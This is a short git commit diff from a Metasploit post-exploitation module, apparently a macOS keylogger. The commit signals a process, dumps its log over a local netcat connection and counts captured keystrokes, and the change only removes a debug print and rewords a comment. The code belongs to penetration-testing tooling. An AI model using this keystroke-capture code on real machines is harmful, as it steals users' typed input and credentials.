Removing debug statement

GSoC/Meterpreter_Web_Console
Chris Long 2018-04-28 15:56:56 -07:00
parent c7caac627b
commit 9ae0acd489
1 changed files with 1 additions and 2 deletions

View File

@ -100,9 +100,8 @@ class MetasploitModule < Msf::Post
print_status "Sending USR1 signal to open TCP port..."
cmd_exec("kill -USR1 #{self.pid}")
print_status "Dumping logs..."
# Telnet is not existent in High Sierra by default
# Telnet is not installed in MacOS 10.13+
log = cmd_exec("nc localhost #{self.port}")
print_status log
log_a = log.scan(/^\[.+?\] \[.+?\] .*$/)
log = log_a.join("\n")+"\n"
print_status "#{log_a.size} keystrokes captured"